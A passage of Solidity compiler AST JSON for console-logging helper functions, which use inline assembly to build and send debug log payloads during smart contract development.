"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41328,"name":"bytes32","nodeType":"ElementaryTypeName","src":"230286:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41330,"nodeType":"VariableDeclarationStatement","src":"230286:10:22"},{"assignments":[41332],"declarations":[{"constant":false,"id":41332,"mutability":"mutable","name":"m4","nameLocation":"230314:2:22","nodeType":"VariableDeclaration","scope":41341,"src":"230306:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"230306:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41333,"nodeType":"VariableDeclarationStatement","src":"230306:10:22"},{"AST":{"nativeSrc":"230335:378:22","nodeType":"YulBlock","src":"230335:378:22","statements":[{"nativeSrc":"230349:17:22","nodeType":"YulAssignment","src":"230349:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"230361:4:22","nodeType":"YulLiteral","src":"230361:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"230355:5:22","nodeType":"YulIdentifier","src":"230355:5:22"},"nativeSrc":"230355:11:22","nodeType":"YulFunctionCall","src":"230355:11:22"},"variableNames":[{"name":"m0","nativeSrc":"230349:2:22","nodeType":"YulIdentifier","src":"230349:2:22"}]},{"nativeSrc":"230379:17:22","nodeType":"YulAssignment","src":"230379:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"230391:4:22","nodeType":"YulLiteral","src":"230391:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"230385:5:22","nodeType":"YulIdentifier","src":"230385:5:22"},"nativeSrc":"230385:11:22","nodeType":"YulFunctionCall","src":"230385:11:22"},"variableNames":[{"name":"m1","nativeSrc":"230379:2:22","nodeType":"YulIdentifier","src":"230379:2:22"}]},{"nativeSrc":"230409:17:22","nodeType":"YulAssignment","src":"230409:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"230421:4:22","nodeType":"YulLiteral","src":"230421:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"230415:5:22","nodeType":"YulIdentifier","src":"230415:5:22"},"nativeSrc":"230415:11:22","nodeType":"YulFunctionCall","src":"230415:11:22"},"variableNames":[{"name":"m2","nativeSrc":"230409:2:22","nodeType":"YulIdentifier","src":"230409:2:22"}]},{"nativeSrc":"230439:17:22","nodeType":"YulAssignment","src":"230439:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"230451:4:22","nodeType":"YulLiteral","src":"230451:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"230445:5:22","nodeType":"YulIdentifier","src":"230445:5:22"},"nativeSrc":"230445:11:22","nodeType":"YulFunctionCall","src":"230445:11:22"},"variableNames":[{"name":"m3","nativeSrc":"230439:2:22","nodeType":"YulIdentifier","src":"230439:2:22"}]},{"nativeSrc":"230469:17:22","nodeType":"YulAssignment","src":"230469:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"230481:4:22","nodeType":"YulLiteral","src":"230481:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"230475:5:22","nodeType":"YulIdentifier","src":"230475:5:22"},"nativeSrc":"230475:11:22","nodeType":"YulFunctionCall","src":"230475:11:22"},"variableNames":[{"name":"m4","nativeSrc":"230469:2:22","nodeType":"YulIdentifier","src":"230469:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230570:4:22","nodeType":"YulLiteral","src":"230570:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"230576:10:22","nodeType":"YulLiteral","src":"230576:10:22","type":"","value":"0x091ffaf5"}],"functionName":{"name":"mstore","nativeSrc":"230563:6:22","nodeType":"YulIdentifier","src":"230563:6:22"},"nativeSrc":"230563:24:22","nodeType":"YulFunctionCall","src":"230563:24:22"},"nativeSrc":"230563:24:22","nodeType":"YulExpressionStatement","src":"230563:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230607:4:22","nodeType":"YulLiteral","src":"230607:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"230613:2:22","nodeType":"YulIdentifier","src":"230613:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230600:6:22","nodeType":"YulIdentifier","src":"230600:6:22"},"nativeSrc":"230600:16:22","nodeType":"YulFunctionCall","src":"230600:16:22"},"nativeSrc":"230600:16:22","nodeType":"YulExpressionStatement","src":"230600:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230636:4:22","nodeType":"YulLiteral","src":"230636:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"230642:2:22","nodeType":"YulIdentifier","src":"230642:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230629:6:22","nodeType":"YulIdentifier","src":"230629:6:22"},"nativeSrc":"230629:16:22","nodeType":"YulFunctionCall","src":"230629:16:22"},"nativeSrc":"230629:16:22","nodeType":"YulExpressionStatement","src":"230629:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230665:4:22","nodeType":"YulLiteral","src":"230665:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"230671:2:22","nodeType":"YulIdentifier","src":"230671:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230658:6:22","nodeType":"YulIdentifier","src":"230658:6:22"},"nativeSrc":"230658:16:22","nodeType":"YulFunctionCall","src":"230658:16:22"},"nativeSrc":"230658:16:22","nodeType":"YulExpressionStatement","src":"230658:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230694:4:22","nodeType":"YulLiteral","src":"230694:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"230700:2:22","nodeType":"YulIdentifier","src":"230700:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230687:6:22","nodeType":"YulIdentifier","src":"230687:6:22"},"nativeSrc":"230687:16:22","nodeType":"YulFunctionCall","src":"230687:16:22"},"nativeSrc":"230687:16:22","nodeType":"YulExpressionStatement","src":"230687:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41320,"isOffset":false,"isSlot":false,"src":"230349:2:22","valueSize":1},{"declaration":41323,"isOffset":false,"isSlot":false,"src":"230379:2:22","valueSize":1},{"declaration":41326,"isOffset":false,"isSlot":false,"src":"230409:2:22","valueSize":1},{"declaration":41329,"isOffset":false,"isSlot":false,"src":"230439:2:22","valueSize":1},{"declaration":41332,"isOffset":false,"isSlot":false,"src":"230469:2:22","valueSize":1},{"declaration":41310,"isOffset":false,"isSlot":false,"src":"230613:2:22","valueSize":1},{"declaration":41312,"isOffset":false,"isSlot":false,"src":"230642:2:22","valueSize":1},{"declaration":41314,"isOffset":false,"isSlot":false,"src":"230671:2:22","valueSize":1},{"declaration":41316,"isOffset":false,"isSlot":false,"src":"230700:2:22","valueSize":1}],"id":41334,"nodeType":"InlineAssembly","src":"230326:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41336,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"230738:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41337,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"230744:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41335,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"230722:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41338,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"230722:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41339,"nodeType":"ExpressionStatement","src":"230722:27:22"},{"AST":{"nativeSrc":"230768:156:22","nodeType":"YulBlock","src":"230768:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"230789:4:22","nodeType":"YulLiteral","src":"230789:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"230795:2:22","nodeType":"YulIdentifier","src":"230795:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230782:6:22","nodeType":"YulIdentifier","src":"230782:6:22"},"nativeSrc":"230782:16:22","nodeType":"YulFunctionCall","src":"230782:16:22"},"nativeSrc":"230782:16:22","nodeType":"YulExpressionStatement","src":"230782:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230818:4:22","nodeType":"YulLiteral","src":"230818:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"230824:2:22","nodeType":"YulIdentifier","src":"230824:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230811:6:22","nodeType":"YulIdentifier","src":"230811:6:22"},"nativeSrc":"230811:16:22","nodeType":"YulFunctionCall","src":"230811:16:22"},"nativeSrc":"230811:16:22","nodeType":"YulExpressionStatement","src":"230811:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230847:4:22","nodeType":"YulLiteral","src":"230847:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"230853:2:22","nodeType":"YulIdentifier","src":"230853:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230840:6:22","nodeType":"YulIdentifier","src":"230840:6:22"},"nativeSrc":"230840:16:22","nodeType":"YulFunctionCall","src":"230840:16:22"},"nativeSrc":"230840:16:22","nodeType":"YulExpressionStatement","src":"230840:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230876:4:22","nodeType":"YulLiteral","src":"230876:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"230882:2:22","nodeType":"YulIdentifier","src":"230882:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230869:6:22","nodeType":"YulIdentifier","src":"230869:6:22"},"nativeSrc":"230869:16:22","nodeType":"YulFunctionCall","src":"230869:16:22"},"nativeSrc":"230869:16:22","nodeType":"YulExpressionStatement","src":"230869:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"230905:4:22","nodeType":"YulLiteral","src":"230905:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"230911:2:22","nodeType":"YulIdentifier","src":"230911:2:22"}],"functionName":{"name":"mstore","nativeSrc":"230898:6:22","nodeType":"YulIdentifier","src":"230898:6:22"},"nativeSrc":"230898:16:22","nodeType":"YulFunctionCall","src":"230898:16:22"},"nativeSrc":"230898:16:22","nodeType":"YulExpressionStatement","src":"230898:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41320,"isOffset":false,"isSlot":false,"src":"230795:2:22","valueSize":1},{"declaration":41323,"isOffset":false,"isSlot":false,"src":"230824:2:22","valueSize":1},{"declaration":41326,"isOffset":false,"isSlot":false,"src":"230853:2:22","valueSize":1},{"declaration":41329,"isOffset":false,"isSlot":false,"src":"230882:2:22","valueSize":1},{"declaration":41332,"isOffset":false,"isSlot":false,"src":"230911:2:22","valueSize":1}],"id":41340,"nodeType":"InlineAssembly","src":"230759:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"230153:3:22","parameters":{"id":41317,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41310,"mutability":"mutable","name":"p0","nameLocation":"230165:2:22","nodeType":"VariableDeclaration","scope":41342,"src":"230157:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41309,"name":"uint256","nodeType":"ElementaryTypeName","src":"230157:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41312,"mutability":"mutable","name":"p1","nameLocation":"230177:2:22","nodeType":"VariableDeclaration","scope":41342,"src":"230169:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41311,"name":"address","nodeType":"ElementaryTypeName","src":"230169:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41314,"mutability":"mutable","name":"p2","nameLocation":"230189:2:22","nodeType":"VariableDeclaration","scope":41342,"src":"230181:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41313,"name":"address","nodeType":"ElementaryTypeName","src":"230181:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41316,"mutability":"mutable","name":"p3","nameLocation":"230198:2:22","nodeType":"VariableDeclaration","scope":41342,"src":"230193:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41315,"name":"bool","nodeType":"ElementaryTypeName","src":"230193:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"230156:45:22"},"returnParameters":{"id":41318,"nodeType":"ParameterList","parameters":[],"src":"230216:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41376,"nodeType":"FunctionDefinition","src":"230936:792:22","nodes":[],"body":{"id":41375,"nodeType":"Block","src":"231011:717:22","nodes":[],"statements":[{"assignments":[41354],"declarations":[{"constant":false,"id":41354,"mutability":"mutable","name":"m0","nameLocation":"231029:2:22","nodeType":"VariableDeclaration","scope":41375,"src":"231021:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41353,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231021:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41355,"nodeType":"VariableDeclarationStatement","src":"231021:10:22"},{"assignments":[41357],"declarations":[{"constant":false,"id":41357,"mutability":"mutable","name":"m1","nameLocation":"231049:2:22","nodeType":"VariableDeclaration","scope":41375,"src":"231041:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41356,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231041:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41358,"nodeType":"VariableDeclarationStatement","src":"231041:10:22"},{"assignments":[41360],"declarations":[{"constant":false,"id":41360,"mutability":"mutable","name":"m2","nameLocation":"231069:2:22","nodeType":"VariableDeclaration","scope":41375,"src":"231061:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41359,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231061:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41361,"nodeType":"VariableDeclarationStatement","src":"231061:10:22"},{"assignments":[41363],"declarations":[{"constant":false,"id":41363,"mutability":"mutable","name":"m3","nameLocation":"231089:2:22","nodeType":"VariableDeclaration","scope":41375,"src":"231081:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41362,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231081:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41364,"nodeType":"VariableDeclarationStatement","src":"231081:10:22"},{"assignments":[41366],"declarations":[{"constant":false,"id":41366,"mutability":"mutable","name":"m4","nameLocation":"231109:2:22","nodeType":"VariableDeclaration","scope":41375,"src":"231101:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41365,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231101:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41367,"nodeType":"VariableDeclarationStatement","src":"231101:10:22"},{"AST":{"nativeSrc":"231130:381:22","nodeType":"YulBlock","src":"231130:381:22","statements":[{"nativeSrc":"231144:17:22","nodeType":"YulAssignment","src":"231144:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"231156:4:22","nodeType":"YulLiteral","src":"231156:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"231150:5:22","nodeType":"YulIdentifier","src":"231150:5:22"},"nativeSrc":"231150:11:22","nodeType":"YulFunctionCall","src":"231150:11:22"},"variableNames":[{"name":"m0","nativeSrc":"231144:2:22","nodeType":"YulIdentifier","src":"231144:2:22"}]},{"nativeSrc":"231174:17:22","nodeType":"YulAssignment","src":"231174:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"231186:4:22","nodeType":"YulLiteral","src":"231186:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"231180:5:22","nodeType":"YulIdentifier","src":"231180:5:22"},"nativeSrc":"231180:11:22","nodeType":"YulFunctionCall","src":"231180:11:22"},"variableNames":[{"name":"m1","nativeSrc":"231174:2:22","nodeType":"YulIdentifier","src":"231174:2:22"}]},{"nativeSrc":"231204:17:22","nodeType":"YulAssignment","src":"231204:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"231216:4:22","nodeType":"YulLiteral","src":"231216:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"231210:5:22","nodeType":"YulIdentifier","src":"231210:5:22"},"nativeSrc":"231210:11:22","nodeType":"YulFunctionCall","src":"231210:11:22"},"variableNames":[{"name":"m2","nativeSrc":"231204:2:22","nodeType":"YulIdentifier","src":"231204:2:22"}]},{"nativeSrc":"231234:17:22","nodeType":"YulAssignment","src":"231234:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"231246:4:22","nodeType":"YulLiteral","src":"231246:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"231240:5:22","nodeType":"YulIdentifier","src":"231240:5:22"},"nativeSrc":"231240:11:22","nodeType":"YulFunctionCall","src":"231240:11:22"},"variableNames":[{"name":"m3","nativeSrc":"231234:2:22","nodeType":"YulIdentifier","src":"231234:2:22"}]},{"nativeSrc":"231264:17:22","nodeType":"YulAssignment","src":"231264:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"231276:4:22","nodeType":"YulLiteral","src":"231276:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"231270:5:22","nodeType":"YulIdentifier","src":"231270:5:22"},"nativeSrc":"231270:11:22","nodeType":"YulFunctionCall","src":"231270:11:22"},"variableNames":[{"name":"m4","nativeSrc":"231264:2:22","nodeType":"YulIdentifier","src":"231264:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231368:4:22","nodeType":"YulLiteral","src":"231368:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"231374:10:22","nodeType":"YulLiteral","src":"231374:10:22","type":"","value":"0x736efbb6"}],"functionName":{"name":"mstore","nativeSrc":"231361:6:22","nodeType":"YulIdentifier","src":"231361:6:22"},"nativeSrc":"231361:24:22","nodeType":"YulFunctionCall","src":"231361:24:22"},"nativeSrc":"231361:24:22","nodeType":"YulExpressionStatement","src":"231361:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231405:4:22","nodeType":"YulLiteral","src":"231405:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"231411:2:22","nodeType":"YulIdentifier","src":"231411:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231398:6:22","nodeType":"YulIdentifier","src":"231398:6:22"},"nativeSrc":"231398:16:22","nodeType":"YulFunctionCall","src":"231398:16:22"},"nativeSrc":"231398:16:22","nodeType":"YulExpressionStatement","src":"231398:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231434:4:22","nodeType":"YulLiteral","src":"231434:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"231440:2:22","nodeType":"YulIdentifier","src":"231440:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231427:6:22","nodeType":"YulIdentifier","src":"231427:6:22"},"nativeSrc":"231427:16:22","nodeType":"YulFunctionCall","src":"231427:16:22"},"nativeSrc":"231427:16:22","nodeType":"YulExpressionStatement","src":"231427:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231463:4:22","nodeType":"YulLiteral","src":"231463:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"231469:2:22","nodeType":"YulIdentifier","src":"231469:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231456:6:22","nodeType":"YulIdentifier","src":"231456:6:22"},"nativeSrc":"231456:16:22","nodeType":"YulFunctionCall","src":"231456:16:22"},"nativeSrc":"231456:16:22","nodeType":"YulExpressionStatement","src":"231456:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231492:4:22","nodeType":"YulLiteral","src":"231492:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"231498:2:22","nodeType":"YulIdentifier","src":"231498:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231485:6:22","nodeType":"YulIdentifier","src":"231485:6:22"},"nativeSrc":"231485:16:22","nodeType":"YulFunctionCall","src":"231485:16:22"},"nativeSrc":"231485:16:22","nodeType":"YulExpressionStatement","src":"231485:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41354,"isOffset":false,"isSlot":false,"src":"231144:2:22","valueSize":1},{"declaration":41357,"isOffset":false,"isSlot":false,"src":"231174:2:22","valueSize":1},{"declaration":41360,"isOffset":false,"isSlot":false,"src":"231204:2:22","valueSize":1},{"declaration":41363,"isOffset":false,"isSlot":false,"src":"231234:2:22","valueSize":1},{"declaration":41366,"isOffset":false,"isSlot":false,"src":"231264:2:22","valueSize":1},{"declaration":41344,"isOffset":false,"isSlot":false,"src":"231411:2:22","valueSize":1},{"declaration":41346,"isOffset":false,"isSlot":false,"src":"231440:2:22","valueSize":1},{"declaration":41348,"isOffset":false,"isSlot":false,"src":"231469:2:22","valueSize":1},{"declaration":41350,"isOffset":false,"isSlot":false,"src":"231498:2:22","valueSize":1}],"id":41368,"nodeType":"InlineAssembly","src":"231121:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41370,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"231536:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41371,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"231542:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41369,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"231520:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41372,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"231520:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41373,"nodeType":"ExpressionStatement","src":"231520:27:22"},{"AST":{"nativeSrc":"231566:156:22","nodeType":"YulBlock","src":"231566:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"231587:4:22","nodeType":"YulLiteral","src":"231587:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"231593:2:22","nodeType":"YulIdentifier","src":"231593:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231580:6:22","nodeType":"YulIdentifier","src":"231580:6:22"},"nativeSrc":"231580:16:22","nodeType":"YulFunctionCall","src":"231580:16:22"},"nativeSrc":"231580:16:22","nodeType":"YulExpressionStatement","src":"231580:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231616:4:22","nodeType":"YulLiteral","src":"231616:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"231622:2:22","nodeType":"YulIdentifier","src":"231622:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231609:6:22","nodeType":"YulIdentifier","src":"231609:6:22"},"nativeSrc":"231609:16:22","nodeType":"YulFunctionCall","src":"231609:16:22"},"nativeSrc":"231609:16:22","nodeType":"YulExpressionStatement","src":"231609:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231645:4:22","nodeType":"YulLiteral","src":"231645:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"231651:2:22","nodeType":"YulIdentifier","src":"231651:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231638:6:22","nodeType":"YulIdentifier","src":"231638:6:22"},"nativeSrc":"231638:16:22","nodeType":"YulFunctionCall","src":"231638:16:22"},"nativeSrc":"231638:16:22","nodeType":"YulExpressionStatement","src":"231638:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231674:4:22","nodeType":"YulLiteral","src":"231674:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"231680:2:22","nodeType":"YulIdentifier","src":"231680:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231667:6:22","nodeType":"YulIdentifier","src":"231667:6:22"},"nativeSrc":"231667:16:22","nodeType":"YulFunctionCall","src":"231667:16:22"},"nativeSrc":"231667:16:22","nodeType":"YulExpressionStatement","src":"231667:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"231703:4:22","nodeType":"YulLiteral","src":"231703:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"231709:2:22","nodeType":"YulIdentifier","src":"231709:2:22"}],"functionName":{"name":"mstore","nativeSrc":"231696:6:22","nodeType":"YulIdentifier","src":"231696:6:22"},"nativeSrc":"231696:16:22","nodeType":"YulFunctionCall","src":"231696:16:22"},"nativeSrc":"231696:16:22","nodeType":"YulExpressionStatement","src":"231696:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41354,"isOffset":false,"isSlot":false,"src":"231593:2:22","valueSize":1},{"declaration":41357,"isOffset":false,"isSlot":false,"src":"231622:2:22","valueSize":1},{"declaration":41360,"isOffset":false,"isSlot":false,"src":"231651:2:22","valueSize":1},{"declaration":41363,"isOffset":false,"isSlot":false,"src":"231680:2:22","valueSize":1},{"declaration":41366,"isOffset":false,"isSlot":false,"src":"231709:2:22","valueSize":1}],"id":41374,"nodeType":"InlineAssembly","src":"231557:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"230945:3:22","parameters":{"id":41351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41344,"mutability":"mutable","name":"p0","nameLocation":"230957:2:22","nodeType":"VariableDeclaration","scope":41376,"src":"230949:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41343,"name":"uint256","nodeType":"ElementaryTypeName","src":"230949:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41346,"mutability":"mutable","name":"p1","nameLocation":"230969:2:22","nodeType":"VariableDeclaration","scope":41376,"src":"230961:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41345,"name":"address","nodeType":"ElementaryTypeName","src":"230961:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41348,"mutability":"mutable","name":"p2","nameLocation":"230981:2:22","nodeType":"VariableDeclaration","scope":41376,"src":"230973:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41347,"name":"address","nodeType":"ElementaryTypeName","src":"230973:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41350,"mutability":"mutable","name":"p3","nameLocation":"230993:2:22","nodeType":"VariableDeclaration","scope":41376,"src":"230985:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41349,"name":"uint256","nodeType":"ElementaryTypeName","src":"230985:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"230948:48:22"},"returnParameters":{"id":41352,"nodeType":"ParameterList","parameters":[],"src":"231011:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41416,"nodeType":"FunctionDefinition","src":"231734:1340:22","nodes":[],"body":{"id":41415,"nodeType":"Block","src":"231809:1265:22","nodes":[],"statements":[{"assignments":[41388],"declarations":[{"constant":false,"id":41388,"mutability":"mutable","name":"m0","nameLocation":"231827:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231819:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41387,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231819:7:22","typeD